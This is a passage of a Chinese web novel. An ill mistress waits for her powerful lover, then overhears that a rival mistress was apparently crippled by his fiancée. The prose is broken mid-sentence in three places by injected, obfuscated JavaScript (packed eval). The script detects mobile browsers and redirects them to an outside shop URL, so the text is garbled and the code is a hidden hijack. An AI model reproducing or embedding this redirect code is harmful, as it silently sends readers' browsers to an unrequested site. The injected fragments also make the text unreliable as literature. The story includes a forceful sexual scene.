绾静叫了药送上来,奥司他韦和布洛芬,她各吃了一粒,睡一觉起来,病情不见好,反而温度又上升了零点二,她就继续吃。 她身体虚得厉害,走路都折磨,很多时候连手腕也抬不起来。 有次水杯没拿稳,摔到地上碎了,绾静愣好久,没力气清理,只能重新去厨房拿了个杯子。她和关庭谦的房间没人打扫,关庭谦不爱别人动他东西,一直都是绾静自己整理的。 因此她病了,他房间的东西就没人管了。 她关着门,偶尔睡得昏昏沉沉,半梦半醒,也能听见外面有点动静,她以为是关庭谦回来了,可是那阵声音步履匆匆,很快就消失得无影无踪,原来只是他的助理。 关庭谦一直没回来。 她就这样病着。 绾静生病的第三天,倒是听说件事。 关庭谦带他未婚妻回了趟沈阳。 还是于惠拍到的,于惠跟同事去沈阳玩,下飞机的时候就觉得有个男人挺眼熟,仔细端详看出来,竟然是关庭谦。 于惠不认得关庭谦,不知道身份名字,但她记得样子,知道那是绾静身边的男人。 关庭谦和一个女人座位挨在一起,两个人装扮皆朴素低调。女人穿着黑裙,偶尔侧过头,他会听她掩唇说话。 于惠就拍了张照片,发给绾静:【你男人?】 绾静收到照片时,刚准备吃药。 她端着白水,傻子一样愣站在那里,直到水彻底冷下来,她才慌忙把药送进嘴里,喝水咽了下去。 她给于惠回:【嗯。】 没有第二句。 于惠倒是多问了两句:【那他身边还带着女人,你不知道吗?】 绾静:【我知道。】 于惠:【你知道?他身边除了你还有别人?】 绾静没回复。 紧跟着于惠反应过来:【不对,那是他老婆?】 绾静没有纠正,还是一个字:【嗯。】 字敲完,她就掀开被子,坐回了床上。 于惠给她发了数条语音。 她那边人声呼啸,能听得出来还在机场,都是嘈杂声。 “你怎么想的?你一点也不介意吗?那是他老婆,要是从前你们在一起,他身边没有女人,没有结婚,你能接受我还能理解,可是现在,他都带着他老婆出来了,小静,小静,你真的看了不难受吗?” 于惠沉默好久:“你好好想想吧。” 绾静把语音听了好几遍,黑暗的房间,没有人声,只有冰冷机械的电子音,她睁眼看天花板,却看不到任何东西。 其实不用于惠,她自己就清楚这个道理。 她从一开始就知道,她喜欢的是一个她不该靠近的人,于惠提醒过她,待在男人身边几年,捞够了就走,尝够了体验过了就吐,是她自己不愿放手,总想着他还没有结婚,她只是想留在他身边,有什么要紧。 如果他终有一天要回归家庭,那么在那之前,为什么不能属于她? 哪怕今后他的爱,精力,身体,他的庇护,她曾经居住过的那座城池,都会被分给另一个女人,那她就等到那一天,又为什么不可以。 绾静那晚睡前托人打听了下,他带未婚妻回去,没说是见家里人,好像只是沈阳会所有个晚宴,关庭谦受邀参加。 关庭谦没在沈阳走马过,那是他姥爷的地盘,是他未婚妻家的地盘,唯独不是他的。 绾静这么多年,没有一次看他去过沈阳赴宴,她想这回陪未婚妻去,他或许只是露个脸。 毕竟前不久,他弟弟才为了个女人的事,和家里闹得沸反盈天,关庭谦是长子,眼前谁都能出岔子,他不能。 绾静那场病小一周了,始终不见好。 后面温度倒是退下来了,只是仍旧持续低烧。 她没有办法,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902149|191983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医院挂号看了下,吊了一下午点滴,又回去了。 那是她生病的第六天。 这六天里,关庭谦没有回过一次家。 消息倒是有,他说他有事,在外面不能回来,没提任何家里和他未婚妻的事。 他不说,绾静就当没这回事,每次回消息,都只说:【好。】 关庭谦消息也发的不多。 他不是爱发消息的人,上班时候用的微信也是生活上的,统共就那一个。 绾静躺在床上,对着他的微信看了许多遍。 他的微信名简单,签名更是无趣得很:【云淡风轻一轮江月明。】 年轻不懂事的时候,她还为此笑过他。 关庭谦并不恼,只说:“是首歌的歌词。” “什么歌?” “你应该听过?”他说,“我应该还没有那么有代沟到像个老年人。” 她咬着唇就去搜。 搜出来,竟然是一首电视剧插曲。那电视剧她确实看过,曾经火遍两岸三地,至今提起都有无数影迷记得。 她哦了声,故意说:“是看过,幼儿园时候看过。” 关庭谦觉察出什么:“你是在说我老。” 她咯咯地笑。 后来她问他怎么喜欢这一句,关庭谦给的回答是:“不争不抢,同僚看了不眼红,下属看了难挑错,关键是领导也喜欢,觉得年轻人心静,威胁不到他位置。” 那是他第一次在她面前,吐露出一点关于工作上的事情。他说的不多,就那一句,可是绾静却真真切切从那句话里,听出一点他的处境来。 他很难,一言一行都不能行差踏错,因为每一样都是把柄,是今后捅他一刀的刀子。 他弟弟就不用在意这些,关庭谦给她说过,他弟弟微信签名是跟着他找的,他家里这个弟弟小时候挺黏他,长大了其实也照旧。 他弟弟签名是下面那句:【漂泊我此生任多情。】 和他截然不同两种人物,关庭谦有多么循规蹈矩,他弟弟就有多么崇尚外面的世界,崇尚自由。 关庭谦也说:“他现在都不常回来了,过年也不见人影,我不自由,不太能去找他,一年到头也见不上他几面。” 她轻轻嗯。 他总说他不自由。 她也这么安慰过自己,就像他娶未婚妻,未见得多么爱她,但他得娶她。 绾静病了这一周,几乎吃不下东西,烧得厉害,吃进去就吐,晚上也睡不好,这么反复,人吃不消,精神更差。 她看了好几眼微信,始终安安静静,没有任何消息进来。 绾静垂眼,迷糊着也就睡着了。 半梦半醒间,依稀觉得床边有什么动静,起初她以为自己听错,怀疑是椅子上的靠枕被她碰下去了,没在意,翻了个身,轻喘着继续睡。 然而隔了两秒,有什么探上了她额头。 绾静身体僵住,额头上的触感宽厚,滚烫,几乎让她不敢呼吸,她愣了好久才敢睁开眼睛。 绾静转头,看向床边椅子里那道魁梧高大的身躯。 他们一周没见了,她却觉得过了有半年,窗帘没拉严实,有一丝半缕暗蓝色的微光,幽幽慢慢照进来,投在了他发上,身上。 他脸孔板着,还是她熟悉的样子,只是深蹙了眉显得不太好看。 她有瞬间很想哭,她想了他那么久,念了他那么久,她没想他居然真的出现在她面前。 心里仿佛是坠了块石头,重重地卡在喉咙里,梗在肺里,不上不下,逼得她难受得浑身颤抖,眼眶也几乎是刹那红了,一声“庭谦”还没有出口。 关庭谦察觉到她醒了,立刻伸手,抱孩子的姿势将她从被子里捞了出来,紧紧地箍到了怀里,又扯过被子盖上,裹上,浑身上下密不透风。 他捧着她烧得潮红的一张脸,眉头更深一分,语调半是责备半是心疼:“怎么烧成这样都不告诉我?” 10.第十章 他急切的眼神不像作伪,眼睛映着屋外黯淡的光,灰蓝,深邃,没有一丝笑纹。 绾静起初喉咙被哽咽堵住,发不出声,张了张唇尝试,眼泪先涌出来。她有点撒泼似的哭道:“你怎么会来,你干嘛来了。” 口是心非这方面,她最会。 她在表达情绪上是有障碍的,从前就严重,她把他看得太重,一句话就能戳中她的心,每次敏感伤心都恨不得躲起来,不吵也不闹,安安静静的。 有时候委屈得狠了,会躲在衣柜,窗台,都是些角落。 他找好久,终于费力找到她,想把她抱出来,她不让,反而往后缩得更紧。 关庭谦实在是没法子,他本就不擅哄人,然而那种情况,她湿着眼睛就看着他,他逼上梁山也得哄。 哄好几声,哄够了,她觉得安全了,紧紧环抱着膝盖的手臂才会松,他才能趁势把她抱出来。 现在已经是他慢慢调,调理好久的结果了。 还是会委屈就把自己躲起来,正话反说,想和他亲近,却把他越推越远。可至少她敢说话了,也会有一点小脾气,和他撒泼,撒娇似的。 关庭谦听这话也愣了,旋即很轻地笑:“我不来我去哪里,嗯?” 她牢牢扒着他衣服,制服前襟被揪得褶皱,变形,他也被迫低下头凑近她,额头贴着她额头,鼻梁,脸颊,他呼吸声变重:“撒什么娇。” 他掌心扣住她手腕拽下来,却没丢开,反而撑开五指按在自己脸上:“说话啊,撒什么娇,怎么生病的,也不和我说,说了我找人来照顾你呢。” 绾静摇头,顺势勾住他脖颈,整个人埋进他怀里肩膀里。 她憋住哽咽:“我不要别人来。” 关庭谦没听出来意思,托着她哄人似的晃了晃:“胡闹,生病是小事吗,这么多天也没好,是闹着玩的吗。” 绾静湿着眼眶红了:“可我只要你回来,你都不回来。” 她哭得真情实感,泪水混着汗,不掺一点假,关庭谦低眸弯唇看她:“那你给我发消息,你也不说,我上哪知道去。” 她又使劲摇头,哭得更加厉害,整个肩膀都抽动着。 她觉得他根本不懂,不能明白这种等待的心情,关庭谦估计以为只是他不回家,她在闹情绪,抓着她手腕,掌心贴着脸,打了好几下:“还不高兴,嗯?那再打几下。” 绾静瑟缩地想抽回手,他又不让,她也不敢真打,最后挣扎不过,绾静又病着,有些话就那样脱口而出:“你不回来,你去找别人,你都很多天不回家,我生病你也不管。” 他那个时候还在陪未婚妻说话吧。 绾静越想越难受,把手抽出来,又缩成一团,哽咽道:“你要是不高兴,你还是走吧……” 关庭谦笑意减淡,动作也停下,冷眼看着绾静,恢复成面无表情的样子,沉默许久才低声道:“你从哪里知道的。” 绾静不说话,干脆抹了把眼睛,想从他怀中逃脱。关庭谦漆黑一片双眼泛起波纹,突然紧掐住她腰,扣住她的后脑重重吻她,绾静睁大眼睛,第一反应是推他:“我生,我生病……” 他反箍住她的手,翻身就带着她滚到床上,他撕咬她的脖颈,汗涔涔的衣裳,他不擅说话,可他胸膛的烫腰腹膨胀的肌肉,逐渐赤红的眼睛,胜过万语千言。 关庭谦使劲掐她腰:“敢查我,你现在敢查我了。” 他又吸又咬,绾静脖颈很快被吮出红痕,力道重,又变得青紫。 他辗转托着她臀吻到那束海棠,关庭谦停下看了会,舔了舔,紧接着又去啃噬那串花,从锁骨到脖颈,反复来回,他边咬边狠道:“你还管我找谁了,你是真有脾气管上我了,你真敢。” 关庭谦粗喘着:“路过单位去接你,给你发消息不回,左等右等不来,让人进了里面找,说你请假好几天,我晚上公务推了回来看你,你查我,跟我耍脾气还查我,怎么养得这么坏,嗯?” 他颠倒翻来覆去问了好几遍,太过狂风暴雨的侵入,绾静承受不了,她听他说完这些就心虚了,心里酸酸软软抱着他红眼睛。 关庭谦停下来,忽然笑着抹她眼泪:“傻样,怎么了。” 绾静抱得更紧:“庭谦。” 他嗯。 绾静继续小声喊:“庭谦。” “嗯。” “庭谦……” 他拍了下她屁股,揽着她又坐起来:“喝药。” 绾静抱着他脑袋压向自己,手指穿插进他黑硬的发。 关庭谦喂她喝药,喝水,她乖乖地都喝,后来他拇指抚了抚她湿润的唇,低头含水,嘴对嘴渡给她。 她还是红着眼睛说:“我生病。” 关庭谦嗯,继续喂。 最后丢掉的安全感回来了一点,绾静窝在他怀里,额头贴着他脸颊,边寻他的唇边虚着声:“我想你,庭谦,你以后能不能经常和我说说话。” 他定定看着她很久,最后疼惜贴住她额头:“好。” 他抱着她睡下,侧身躺在她身边,和她唇齿相贴,额头相抵。那晚到最后,她也没有提他未婚妻的事情,关庭谦也不说一字。 绾静黑暗里看着他睡颜,心里一酸,忽然纠缠得更紧。 她不知道还能再陪他多久了。 * 那阵子关庭谦一直在家里,每早每晚,各给绾静量一次体温,盯着她乖乖喝水吃药,她不肯见别人,于是家里就只有他们两个人。 折腾几日,她的病总算好了不少。 可是关庭谦不能总待在她这里,他家里面子要给,他也回家住了两天,那时候宴会多,关庭谦几个场子跑,绾静也不知道他是一个人,还是带着他未婚妻。 绾静告诉自己不能嫉妒。 她得适应,这种日子今后才是常态,对他撒撒娇可以,他纵着,也可能觉得她有点小性子更有趣,更有风情。 可她不能真的和他闹,她不能歇斯底里,像个泼妇一样,那会很快被放弃。 绾静偶尔也会想起岑梦。 她不知道这段日子,岑梦是怎么过的,会不会和她有一样的心情。岑梦挺狂的,可像她自己说的那样,大房回来了,再狂也得消停。人家大房用不着置气,和她说话都是抬脸,岑梦就算想闹,顶多来磋磨绾静。 可岑梦就像是销声匿迹了一样。 自那回停车场,她把绾静伤到,绾静竟然再也没见过她。 绾静在家养身体,单位的假关庭谦帮她请了。 早上关庭谦要走,她会替他穿好制服,系领带,上午没事做,就给家里院子的树剪剪枝,裹层布,别冬天给冻死了。 过了段时间,她回单位上班,身体还是不太好,胃总是痛。或许是太久没好好进食,闻到一点荤腥味道就会想吐。 中午同事带饭来吃,是盒茄子烧肉。绾静从前很喜欢吃茄子,同事也知道,也会带给她尝。 只是这回一揭开盖子,绾静就觉得胃里剧烈翻涌,忍不住捂着唇扭过头,干呕了两声。 同事东西都不吃了,奇怪问:“怎么了?” 绾静摆摆手,没在意她莫名的眼神:“没事,我胃不好,之前生病久了,进食不规律有点胃痛,就会吐。” 同事将信将疑:“哦。” 只是眼神还是很奇怪,欲言又止的样子。 绾静去卫生间漱口,回来后整理文件,准备继续工作。 同事却凑过来,小声说:“你会不会是,那个了?” 绾静没明白:“嗯?” “就是,那个。”同事对着肚子做了个手势,“怀孕。” 绾静骤然一愣,终于明白她为什么是那种眼神,垂下眼,又颤抖抬起,下意识躲避:“怎么可能。” 她心里有点好笑她误会了,说实话,她曾经也想过这种事,但是关庭谦不会允许她怀上他的孩子。 他都要结婚了,怎么会让这种意外发生。 下班后,绾静照例在胡同里等司机。 胡同口驶过辆熟悉白色的车,绾静开车门的动作顿了一下。 直到车拐出胡同,她才看明白,原来那并不是岑梦。 司机看她愣神:“冯小姐,怎么了?” 绾静摇头:“没事。” 她拉开车门坐了进去。 说来也奇怪,照岑梦的性格,这么多天见不到关庭谦,也不来撒泼打滚的闹,实在不符合她作风。 绾静低头,细瘦的指尖攥住衣襟,紧了紧怀,心里莫名有些不安。 关庭谦回家又住了两天。 晚上绾静精神不好,洗了澡准备睡了,于惠却给她发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906279|191983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了条消息,问她有没有睡。 绾静:【怎么了?】 于惠:【我陪客户喝酒醉了,你方不方便来接我哦?】 陪客户喝酒这种事,可大可小,有些客户是个兽,也不把女人当人,喝酒谈事特别爱动手动脚,人家为表尊敬,敬个酒,他就觉得这女人是跟了自己了。 绾静不敢耽搁,连忙发消息给司机,连夜把自己送到了于惠说的酒吧。 绾静没去过酒吧。 她不会喝酒,在这方面很是生涩,关庭谦给她找的单位,也没有遇到过需要她喝酒应酬的情况。 所以她进了场子,五光十色的灯一照,火热的音乐震天响,她其实很发怵。 幸好于惠是在卡座,绾静过去时她已经醉得要站不起来了,她身边就剩个女生,已经没有男人了。 绾静担忧地扶住她的肩,问女生:“她喝了多少?” 女生比了个数,宽慰绾静:“放心,她刚刚去吐过了,没事。” 于惠挺能喝的,真拼起酒可能男人也比不了,绾静稍稍松了口气,但还是摸了摸于惠的脸,从包里掏出湿纸巾,替她擦了手擦了脸,又喂她喝了两口水。 女生指尖夹着烟,于惠嘟囔了句什么,女生就附和。 绾静多看了好几眼。 这女生她认识,就是于惠之前说做过外围的女生,绾静记得她叫家欣,有点像香港那边会取的名字。 绾静以前和她吃过次饭,家欣说以前当外围时候的事,说粤港澳富商多么有钱,多么舍得撒钱,就跟撒米似的。 家欣当时表情很夸张:“我之前还在香港的时候,有次晚上陪个富商吃饭,名字就不说了,反正有老婆那种,你们都不知道他多舍得给,满屋子飞港钞,几个姐妹儿连他手都没碰到,就顾着捡钱了,随便抓都是。就是可惜,后面还没抓完,就碰上他老婆过来了,唉,早知道多拿点。” 绾静想象不来。 关庭谦是不可能这么狂的,他的性格也不允许,他持重,守成,边界感挺强的,不相识的人靠近他都费劲。 绾静想,她那时候,或许也是占了个同系的身份,他才会放松了警惕。 于惠又去吐了次,满身酒气地醒了,嚷嚷要走:“我待不下去了,我要回家。” 绾静也闻不得酒味,胃里早就不舒服想吐,只是一直忍着。 她又给于惠擦了次脸,正准备拎过她包走。 隔壁卡座笑嘻嘻传来嘈杂的动静。 原本不关绾静的事,她也不爱听别人的八卦,只是替于惠穿外套的时候,余光一瞥,她停住,总觉得隔壁卡座有个人挺眼熟。 费劲想了想,她记起来,那人竟然是岑梦的同学。 绾静以前查岑梦的时候,看见过岑梦和她一起吃饭。 绾静手腕一颤,下意识缩了缩肩膀。 难道岑梦也在这里? 她其实很不想和她碰上,在这种地方遇到,不仅是尴尬,她主要怕惹祸。 可她等了会儿,岑梦始终没出现。 卡座其他人倒是聊起天来,先是说的美容和化妆品,最后不知道怎么的,竟然提起了岑梦的名字。 绾静默不作声,悄悄偏过头。 酒吧噪音很大,只是她们喝高兴了也没控制音量,其中有个女生说:“哎,我说你们,都不如人岑梦运气好,你说她怎么命那么好,她那车多贵,还是京牌的,上回看她考试开到考场外面,可给她牛逼坏了。” 另个女生端着酒杯,笑起来晃晃:“人家会勾搭男人呗,你会吗,你会吗?” 她随便点了两个女生。 被指到的女人摆手:“谁有她那功夫,再说了,那男人是我想勾搭就能勾搭上的?我还见隔壁宿舍那谁,天天守着去拦车呢,你看有男人理她吗?” “岑梦真是福气好,你说她这运都是哪儿求来的。” “诶,你俩关系不是还行吗?要不你帮忙去问问她,看有门路吗?” 岑梦朋友一直没发话,听到这却忍不住了,醉醺醺道:“她运气好什么呀。” “你嫉妒人家吧?你俩关系那么好,她现在傍上大款发达了,没捎上你?” “我嫉妒她?”岑梦朋友像是气笑了,磕下酒杯,满脸鄙夷,“拜托,她都不在北京了,福气有什么好的?” 11.第十一章 席里有女生震惊:“不在北京了?” “嗯。前阵子就不在了。” “为什么啊?她不上学了?” 岑梦朋友嗤笑:“上学?她还上什么学啊,学校敢收她吗?” 这话听着不像是小事,周围女生都催着那女生快讲,绾静也竖起耳朵。 只是不知为何,她心里那股不安却越发浓重。 “你们真要听?”女生看起来和岑梦感情也没有多好。 或许是嫉妒,从前压抑太久,岑梦不在了,这份酸终于得见天日。 她捏紧酒杯,撩了撩头发,不屑奚落:“她不是狂吗,她多傲啊,自以为有几分姿色,那些权贵就会像没见过女人似的,排着队舔她的石榴裙,可她唯独不懂一个道理,越是有权有势的男人,身边越不缺漂亮女人。他们是要女人懂事,识趣,她光仗着漂亮有什么用呢,连人家老婆都不放在眼里。” 卡座安静了一瞬。 几个女人对视,神态各异。 “她傍的那个男的,有老婆,人家有大房,她居然还敢去大房面前显摆。我听说人家带着大房去东三省看老丈人,她也非要跟过去,以为这样就能给大房脸色看,结果呢?她是把权贵老婆得罪透了,再有气度,再有修养的女人,欺负到你脸上了,你能容她吗?” 绾静抿紧唇。 岑梦朋友冷嗤:“她跳舞厉害,咱们系谁比得过她?那权贵也是吃饭时候看她跳了支舞,被她勾过去的……现在呢?再也跳不了了。” 那句话仿若火药在水中炸开,激起千层浪,将绾静心炸得粉碎,指尖僵硬,脸也煞白。 她坐在那里,就像是被什么定住了,动不了,说不了,不能听不能看,所有的感官情绪,都一瞬间被剥夺了个干净。 绾静完全听不懂她在说什么一样。 什么叫跳不了了。 为什么跳不了了。 她四肢百骸,浑身的血肉骨骼,都被猛地砸入了冰层里,寒凉的温度灌进身体每一丝缝隙,冻得她浑身发抖。 家欣想把于惠拖走,看见绾静失魂落魄坐在那里,很久没动:“怎么了?” 绾静身体僵硬。 她一句话也说不出口。 家欣关心说:“看你脸色那么白,身体不舒服?” 绾静摇头,下意识掌心摁在肚子上:“可能犯胃病了。” 家欣说:“那我们别在这待了,先走吧?” “好。” 她拎着包,将于惠胳膊搭在肩膀上,神思不属地走出了酒吧。 岑梦的事她曾经调查过的,她记得那是在一次饭局上。 那顿饭很特别,往常关庭谦都是主位,只有那次,他是作陪。只是涉及到工作,再多她就打听不到了。 她只知道席间,有个陪酒女生在饭桌上出尽风头,只是跳了段舞,就一鸣惊人入了关庭谦的眼,从此东风直上。 他们都说岑梦身段好,人嘴甜,又会来事,被关庭谦看中不奇怪。 关庭谦也确实非常喜欢,刚带在身边就是大手笔。 绾静没见过他敢这么花钱,简直是挥霍,车,奢牌,要什么有什么。那阵子她真的挺害怕的,每时每刻都提心吊胆,她比谁都深刻明白,她的很多东西,都是来自于他的宠爱,一旦失去了,就什么也不剩了。 长此以往,哪怕关庭谦身边的人,秘书,助理,都仍然对她客气,她的安全感还是无可挽回地在一点点减退。 可她难受归难受。 她虽嫉妒过岑梦,不愿她留在关庭谦身边,也从没有想过要对她下手。 不能再跳舞,那太残忍了。 绾静送完人,浑浑噩噩地回到家,关庭谦没在家。助理倒是在,正要走,看见她的样子问她怎么了,绾静一声不吭。 助理提醒:“先生明天会过来。” 绾静木然点头。 可助理出门,她下意识从喉咙里滚出一声碎裂的啊。 他转身请示,绾静又突然被定住,摇头嘶哑道:“你出去吧。” 她也不知道她想问什么。 助理带着疑惑走了,绾静还是站在那里,不过只站了几秒钟,她就捂着嘴冲进卫生间,抱着洗手台呕吐起来。 绾静蹲在地上很久,明明没有喝酒,脑袋却是晕的,齿根舌尖也都是血腥的味道。 她怕得缩起身体,最后又觉得房间太大,太空,她又躲去了床边,椅子腿旁,最后缩进了衣柜里。 满衣柜都是关庭谦的衣服,木质衣柜浓重的沉香味,樟脑味,混杂着他衣服上特有的淡淡的香,那是他自己的味道,就算用了洗衣液,只要沾过他身体,就不会被抹掉。 绾静就抱着膝盖,蜷缩在一堆衣服里。 那些衣服包裹缠绕着她,就像是在安抚一个孩子。 她曾经以为,他的未婚妻会有第一任那样好脾气。 当时他家里要他娶的是赵小姐,赵心塘。 赵小姐张扬美艳,却是小女人。 她和岑梦都妩媚,可格外不同。岑梦的艳有一种刻意的精致,也盛气凌人,总显得美艳有余,风韵不足,卖力不讨好。 赵心塘是真的家里富养出来的女人,她美得张扬,耀眼,却不刺眼。 绾静记得第一次知道这个消息的时候,她没忍住,心里疼得难受,想去见见这位赵小姐。 辗转打听到消息,说她朋友在后海有个门脸房,开了个酒吧,赵心塘周五晚上会去捧场喝酒。 绾静就去看了。 很远地看了一眼。 赵心塘和朋友在说话,穿着身吊带红裙,唇瓣娇娆,白皙的指尖上艳艳指甲油。她们圈子里的人聚在一起,她身旁还坐着男人,也是衣冠楚楚别具俶傥。 不知道说了什么,赵心塘捂着嘴笑,眼角眉梢都透着股子娇憨气。 门前停了溜车,普通车牌,但连号。 他们这连号也有说法,不是几个八,几个六那种特张狂,这种狂人上海看得见,深圳看得见,唯独在北京少。 几辆车从红旗,到宾利,雷克萨斯,什么都有,车牌尾三位是四三六、四四六、四五六……说实话,也狂,但狂得别有韵致,属于单独开上街,没人看,车开回家停一溜,就显出牛叉了。 赵家就有这种连号。 赵心塘有个哥哥,从前和关庭谦是同窗,关系还行,如今也春风得意,位高权重,两家愿意结秦晋之好,确实是门当户对。 绾静那时候失魂落魄,她是觉得自己比不上赵小姐,也没想和她竞争,已经在想着什么时候离开北京。 哪知有天,她和关庭谦在院子里修剪树枝,院门却被高跟鞋猛然踹开,赵心塘怒气腾腾登门了。 她披头散发,妆容全花,吵着闹着要关庭谦退婚。 她哭着喊:“你要是不答应,我新婚夜就死给你看,我割腕,投河,跳楼,我还找车撞我,撞烂了变成鬼蹲你家门口,你不信,你就试试吧!” 看见绾静吓得呆在一旁。 赵心塘精得很,上下一扫就明白了,立刻大声嚷:“我还拉着她一道!我要是没死成,以后你们有了小孩,你家小孩我也丢掉,丢掉,你有本事就娶!” 关庭谦脸色铁青,憋着劲吐出字:“出去。” 赵心塘滚了。 隔天转脸就说关庭谦看不上她,她士可杀不可辱,虽有爱郎意,郎无怜妾心,不结了,说什么都不结了。 她大闹一通,婚事总算是退了。 赵小姐人很好说话,不结婚了她就不闹了,她对绾静有言语冒犯,过意不去,退婚后经常也会送点吃的。 春天是茶,河鲜野菜,秋天就是大闸蟹和水果。 绾静是被养得太好了。 刚上大学遇见的就是关庭谦,她第一个男人是他,第一个爱人是他,就算他说今后会有未婚妻,可真碰上了,发现未婚妻人也不坏,还很照顾绾静。 她没栽过跟头,没见识过真正的两个女人争一个男人,究竟会使出什么手段,会把对方逼到怎样你死我活的地步。 她还以为都能遇上和赵心塘一样的人。 她甚至想,家庭联姻,关庭谦对未婚妻或许是没有感情的,就好比第一任未婚妻。 赵小姐当年撒泼打滚,指着关庭谦鼻子骂:“你要真娶我,我就花你的钱在外面养男人,我恶心你!” 关庭谦甚至都能面无表情,沉默良久,淡淡对她做出个动作:“请。” 他是没感情的。 他觉得和老婆结婚就是为了完成家里的任务,是谁没分别,他将来妻子要是想养别的男人,不闹到他单位,不闹到父母跟前,他可能心里都毫无波澜。 绾静就天然以为,他的未婚妻,也会是这样想的。 就像赵小姐一样。 可是不是。 根本不是。 他现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912786|191983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的这一个,不动声色,不发一句,却把他身边的女人悄悄就给办了。 她是介意的,无比介意。 介意到岑梦不过是跳了一支舞,她就废了她一双腿。 偏偏没人奈她何。 她家里的背景,能和关庭谦姥爷家媲美,旁人不可及。权势滔天,谁敢动她? 她明知道关庭谦把岑梦带在身边,招摇过市,她还敢毁人。 绾静浑身颤抖,越缩越紧,窗外凄清的夜色落在地板,砌开千堆雪。北京那夜并没有下雪,可月光蜿蜒在地面,宛如铺了一层冰冷的霜。 那层月照亮大地,也映亮了她铁青的脸,瑟缩的眼睛。 她想兔死狐悲,不外如是了。 胃里一阵一阵紧揪似的疼,绾静抱着膝盖,下巴搁在臂弯,直等到后半夜,窗外的月色都暗了,屋子里彻底变得漆黑起来。 那么大的北京,一个人消失了,不会有任何人怀疑,问津。 岑梦能被神不知鬼不觉送走,她呢,她难道就逃得掉吗。 绾静颤抖闭上眼睛。 不知过了多久,屋子里传来响动。 关庭谦回来了。 他推开房门,一阵潮湿的气息顺着缝隙卷入,钻进绾静鼻息,她面无表情,无动于衷。外头可能下雨了,或者又是雨夹雪,只是她感知减退,不知道能做什么反应。 关庭谦坐在床沿,大概是想借着月色看她,然而她并不在床上。他身体一顿,立刻拧开床头灯去找,绾静不出声,他找遍床头床尾,掀开枕头被套,甚至出了房门,一阵后再回来,回来又重复。 从门后,到窗帘到窗台。 最后,他终于喘着气拉开衣柜门,在杂乱无章的衣服堆角落里,发现她屈着膝盖,蜷缩成一团的小小身影。 她并没有抬头看他,甚至连眼皮都没有掀一下,他肩上淋了雨潮了,湮开团深黑色的水渍,她没有淋雨。 可她脸上,臂弯,膝盖,满是水干涸后的痕迹。 绾静浑浑噩噩,分不清是做梦还是现实。 关庭谦冷着脸伸手,她才抬起眼,受惊的小兽一样不断后退,可她身后就是木板,隔断,她无路可去,只好攥着他衣服哭泣起来。 他把她强硬拧着手腕拖出来,抱进怀里,就坐在地上环着她,垂头蹙眉半是责备:“怎么了,出什么事了钻衣柜里,我不是回来了吗。” 她不发一言,只是将手里衣服抱得更紧。 关庭谦蹭她发,宽厚的掌心在背上安抚:“说个话,跟我说怎么了,嗯?跟单位里同事闹不愉快了,还是谁给你脸色看了?” 绾静都是摇头。 他越哄她越是哭,最后哭得上气不接下气,绾静突然伸手,攥着衣服扎进他怀里。她紧紧地搂着他,拥抱他,就像在抓一棵激流中的树。 “你知不知道岑梦,你知不知道她去哪了?” 关庭谦滚烫的身体微微一僵,绾静等他回答,仰着脸,希冀地看着他,就想从他脸上看出一丝破绽,哪怕一点点都行。 可是很久,他都没有任何回应。 绾静不自觉直起身,膝行着过去:“你知不知道,她去……哪里了。” 支离破碎的语气。 每次她这样说话,他再恼都会先停。 可这回没有。 关庭谦的脸色沉下来,眼里的笑纹退得干干净净。他抬手把她发捋到脑后,拇指抹她的脸,替她擦泪。 绾静眼睛湿漉漉,他无表情,也没有刚才哄人时的亲昵:“怎么忽然问起她了,你跟她关系不是不好吗。” 绾静想去碰他的手:“不是……” “之前不还因为她,跟我闹脾气。”关庭谦像是说笑话,掐断她要问出口的话,“又关心她了,那我下回找她你可不准哭。” 他越是回避,越是能佐证绾静心里那个猜想。 他的脸廓逆着窗外的月光,无比朦胧,也无比柔和,他分明离她那么近,可是绾静伸出手,却不敢碰到他一点。 关庭谦不想再提这件事,拢着她头发:“行了,哭成什么了,上床睡觉行吗?” 他欲抱她起身,绾静却突然爆发,眼眶湿红地推开他,又半秒钟后拼命地抱住他。她也不知道自己在做什么,她太慌了,心里的弦都要断了:“你是不是知道,你肯定知道……” “庭谦,我害怕。”她抽噎着嗓音嘶哑,“我怕我变成第二个岑梦。”